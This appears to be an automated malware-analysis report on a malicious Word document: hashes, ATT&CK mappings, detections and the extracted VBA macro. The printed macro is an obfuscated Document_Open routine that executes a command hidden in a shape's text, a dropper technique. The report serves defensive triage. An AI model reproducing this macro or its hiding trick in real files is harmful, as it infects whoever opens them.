Office (OLE) malware analysis — malicious · aa658cf9a05090d9

MALICIOUS

Office (OLE)

75.2 KB Created: 2018-11-06 11:56:00 Authoring application: Microsoft Office Word First seen: 2019-05-31

MD5: 77eb5d508d06e8b95a98ceb570aa7f8f SHA-1: a82ca3e0a9c906f3973eadb41f86d1ac9449f4de SHA-256: aa658cf9a05090d916e3097d2537bc04252cab539dd72d6325f06ced60cfdf65

172 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

This document contains a VBA macro that triggers on opening. The macro executes a complex PowerShell command, which appears to be designed to download and execute a second-stage payload. The PowerShell command decodes a Base64 string and then executes it. The presence of the Document_Open macro and the PowerShell execution strongly indicate malicious intent.

Heuristics 7

ClamAV: Doc.Malware.00536d-6741784-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6741784-0
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next

Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1148 bytes
SHA-256: `3c74e94a73620180ba18a2a39918f57d6b54aaa4068e584a188fecfc90b5cf30`
Detection ClamAV: No threats found Obfuscation or payload: likely 29 of 58 identifiers look randomly generated (e.g. 'OACstIIPtrjZjG') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "OACstIIPtrjZjG" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() On Error Resume Next Mlwcsm = dTofQ + pwMsr + BvRKv + zLPTJB * (RYNIj + polVE) HJFhrj = (HYmvb + ksaDJ + miwdc + jdBRQa * (sGkpF + ccrstl + jcizN + LufKIj / qLDIpH + iizzC)) hivlF = KJDwEE + OSMvcJ + rRZiCl + jwffu * (MdLkYC + SjHEEl) WBXts = QJNjUT + LXTKLW + GbXZVK + JUiRM * SbiHBz + NCXpiU kltZC = (KuiwX + RHojSH + JktMJM + XDEhrB * (qZjkr + MHhAJ)) BdtXA = ECHCqX + pwcvj + wWDTwX + Zlpwc * AvzzD + AMoAY + duiaOo + FYjnzK jRSMLZ = XLszY + fVKVfb + dizXB + XzQIz * (GJQuVo + RHXWh) SFNoX = bhkrZj + QpHpw / WObiF + azjBDs + juTRq + KQalF Const SInlHoarJW = 264685418 - 264685418 Shell@ Shapes(1).TextFrame.TextRange.Text + aCZSSidW + vKuCXG, SInlHoarJW MScOao = SJLGMR + mYwur + jDcnPc + iSOkQ * oCwQL + klAYSP + AnXWFc + OMIpo OCzubp = cGpHlS + EfiKX / (bmGvJH + EbtHb) End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.